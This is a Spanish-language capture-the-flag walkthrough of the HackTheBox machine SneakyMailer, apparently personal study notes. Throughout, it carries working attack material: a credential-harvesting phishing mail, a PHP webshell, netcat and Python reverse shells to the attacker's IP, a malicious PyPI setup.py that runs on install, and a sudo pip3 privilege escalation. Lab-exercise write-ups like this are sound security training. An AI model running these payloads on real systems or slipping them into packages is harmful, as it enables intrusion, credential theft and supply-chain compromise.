Volver atras HTB_SneakyMailer | Savinotes

HTB_SneakyMailer

SneakyMailer {-}

Introduccion {-}

La maquina del dia 26/07/2021 se llama SneakyMailer .

El replay del live se puede ver en Twitch: S4vitaar SneakyMailer maquina

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.197

ttl: 63 -> maquina linux. Recuerda que tratandose de ttl 64 = linux y 128 = windows. Pero como estamos en hackthebox hay un nodo intermediario que hace que el ttl disminuya una unidad

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.197 

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.197 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p21,22,25,80,143,993,8080 10.10.10.197 -oX targetedXML
PuertoServicioQue se nos occure?Que falta?
21ftpConexion como Anonymous
22sshAccesso directousuario y contraseña
25smtpPor detras hay algo rel. email
80httpRedirect to sneakycorp.htb hosts
143IMAPConnectar para listar contenido mailusuario y contraseña
993squid-proxyBrowsear la web por este puerotCheckear el exploit
8080httpBrowsear la web por este puertoCheckear la web

FTP {-}

Intentamos conectarnos como anonymous.

ftp 10.10.10.197
> Name : anonymous

Whatweb {-}

whatweb http://10.10.10.197

Hay un redirect a

 sneakycorp.htb 

Add sneakycorp.htb host {-}

nano /etc/hosts

hosts-seakycor

Checkear la web del puerto 8080 {-}

Abrimos la web y vemos cosas:

Recuperar la lista de email con CURL {-}

curl -s -X GET "http://sneakycorp.htb/team.php" | html2text | grep "@" | awk 'NF{print $NF}' > email.txt

Evaluacion de vulnerabilidades {-}

Swaksear la lista de email {-}

Es comun que en algunos servicios mail, nos podemos conectar al servidor y enviar email con un correo que no existe bajo el servidor indicado. Se puede hacer con la herramienta swaks. Aqui lo hacemos por el puerto 25

nc -nlvp 80
swaks --to $(cat email.txt | tr '\n' ',') --from "s4vitar@sneakymailer.htb" \
--header "Subject: EEEEEEEE" --body "OH DIOS MIO ES DIAMOND JACKSON -> http://10.10.14.20/diamondjackson.jpg" \
--server 10.10.10.197

Ya vemos que podemos enviar el mail y que ademas alguien a pinchado el enlace. Ademas como utilizamos nc y no python podemos ver la data enviada en raw. En la data vemos que podemos ver el usuario, el email y su password en formato url encode.

php --interactive

> print urldecode()"firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt"

Ya vemos la contraseña del usuario en texto claro.

Intentamos conectar por SSH y FTP pero nada

Conectar por el IMAP con NC {-}

  1. Logear por IMAP con NC

    nc 10.10.10.197 143
    
    A1 login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
    #Output
    A1 OK LOGIN Ok.
  2. Listar el contenido

    A2 LIST "" "*"
  3. Seleccionar INBOX

    A3 SELECT "INBOX"
  4. Seleccionar los mensajes enviados

    A4 SELECT "INBOX.Sent"
  5. Seleccionar los items enviados

    A5 SELECT "INBOX.Sent Items"
  6. Seleccionar lo que hay en la papelera

    A6 SELECT "INBOX.Deleted Items"
  7. Vemos que hay dos elementos en los items enviados, los recuperamos

    A7 FETCH 1:2 BODY[]

En los bodys encontramos un un mensaje que pregunta para cambiar la contraseña del usuario developer poniendo y la contraseña original en texto claro. En el otro mensaje otra vez hablan del servicio Pypi

Con el usuario y contraseña intentamos volver a conectar con FTP

Conexion con FTP {-}

ftp 10.10.10.197

> Name: developer
> Password: contraseña
#Output
Connection succesful

dir
cd dev
dir

Aqui vemos el contenido de la web. Nos creamos la famosa

 s4vishell.php 
<?php
    echo "<pre>". shell_exec($_REQUEST['cmd']) . "</pre>";
?>

ahora con el ftp subimos el archivo.

put s4vishell.php
#Output
transfer complete

Controlamos en la web si vemos el fichero

 http://sneakycorp.htb/s4vishell.php 

pero tenemos un 404 NOT FOUND. Intentamos con otras url:

 http://sneakycorp.htb/s4vishell.php 
 http://10.10.10.197:8080/s4vishell.php 
 http://10.10.10.197:8080/dev/s4vishell.php 

pero nada. Aqui pensamos en que podria tener otros subdominios.

Descubrimientos de subdominios de dos formas {-}

Descubrimiento de subdominios con GOBUSTER {-}

gobuster vhost -u http://sneakycorp.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Encontramos el subdominio

 dev.sneakycorp.htb 

Descubrimiento de subdominios con WFUZZ {-}

wfuzz -c -t 200 --hw=12 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H "Host: FUZZ.sneakycorp.htb" http://10.10.10.197

Encontramos el subdominio

 dev.sneakycorp.htb 

Retocamos en hosts {-}

nano /etc/hosts
    knitr::include_graphics("images/hosts-dev-sneakycorp.png")

![hosts-dev-seakycor](/assets/images/hosts-dev-sneakycorp.png) 
Como aqui ya tenemos un nuevo dominio browseamos la web en 
```bash
 dev.sneakycorp.htb/s4vishell.php 

y ahora si encontramos nuestra webshell.

 dev.sneakycorp.htb/s4vishell.php?cmd=whoami 
 dev.sneakycorp.htb/s4vishell.php?cmd=hostname -I 

no es el caso y tenemos capacidad de remote code execution. Ahora intentamos ganar acceso al sistema.

Explotacion de vulnerabilidad & Ganando acceso {-}

Crear una reverse shell con s4vishell.php {-}

  1. Escuchamos por el puerto 443

    nc -nlvp 443
  2. Ejecutamos una reverse shell

    dev.sneakycorp.htb/s4vishell.php?cmd=nc -e /bin/bash 10.10.14.20 443

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Descubrimiento de la maquina {-}

ls -l
cd /home
cd low
ls -la
cd .ssh
ls
cat authorized_keys
ps -fawwx

Vemos la flag pero no podemos leerla. Huele a que nos tenemos que convertir al usuario low. Tambien vemos un recurso Pypi con un fichero de credenciales tipo

 .htpasswd 
cat /var/www/pypi.sneakycorp.htb/.htpasswd

Vemos la contraseña del usuarion pypi. La copiamos en la maquina de atacante y tratamos de romperla con John

Por ultimo se puede ver un nuevo subdominio llamado

 pypi.sneakycorp.htb 

, lo introduzimos en el

 /etc/hosts 

Crackeo con John {-}

Copiamos el contenido del fichero .htpasswd en un fichero llamado hash

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Hemos podido crackear la contraseña del usuario pypi

Descubrimiento de la configuration NGINX {-}

Intentando conectarnos a la web por el subdominio

 pypi.sneakycorp.htb 

, vemos que hay una redirection automatica al domino normal. Sabiendo que estamos en frente de un NGINX, analizamos como el reverse proxy esta configurado.

cd /etc/nginx
ls
cd sites-enabled
cat sneakycorp.htb
cat pypi.sneakycorp.htb

Hay ya vemos que para ir al subdominio

 pypi.sneakycorp.htb 

tenemos que pasar por el puerto 8080, y efectivamente si browseamos la web con

 pypi.sneakycorp.htb:8080 

ya podemos ver la web del pypi server

Crear un packete malicioso para pypi {-}

Como el servicio pypi es un server que tiene conectividad con el exterior, podemos seguir lo siguientes pasos en la maquina de atacante.

mkdir pypi
cd !$
mkdir pwned
cd !$
touch __init__.py
touch setup.py

El fichero

 __init__.py 

se queda vacio y el contenido del

 setup.py 

seria el siguiente.

import setuptools
import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.20",443))
os.dup2(s.fileno(),0) 
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

setuptools.setup(
    name="example-pkg-YOUR-USERNAME-HERE",
    version="0.0.1",
    author="Example Author",
    author_email="author@example.com",
    description="A small example package",
    long_description_content_type="text/markdown",
    url="https://github.com/pypa/sampleproject",
    classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: MIT License",
        "Operating System :: OS Independent",
    ],
    python_requires=">=3.6",
)

La idea aqui es que cuando el pypi server ejecute el setup.py, queremos que nos entable una reverse shell. El codigo de la reverse shell es de monkey pentester y la hemos retocado para que vaya en el fichero

 setup.py 

.

Configuramos el equipo para poder enviar el paquete al repositorio victima.

rm ~/.pypirc
vi ~/.pypirc

El contenido del fichero

 .pypirc 

seria

[distutils]
index-servers = remote

[remote]
repository = http://pypi.sneakycorp.htb:8080
username = pypi
password = soufianeelhaoui

Ahora podemos enviarlo

  1. Nos ponemos en escucha en el puerto 443

    nc -nlvp 443
  2. Enviamos el paquete al pypi server

    python3 setup.py sdist upload -r remote
  3. Tenemos una shell pero primero nos a ejecutado desde nuestro propio equipo

    • no ponemos una vez mas en escucha al puerto 443

      nc -nlvp 443
    • en el primero shell le damos a exit

Y ya esta

whoami
#Output
Law

Ya le podemos hacer un nuevo tratamiento de la TTY.

Escalada de privilegios {-}

Rootear la maquina {-}

sudo -l

vemos aqui que podemos utilizar la heramienta pip3 con el privilegio del usuario root sin proporcionar contraseña.

Miramos en GTFOBINS

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
pip3 install $TF

whoami
#Output
root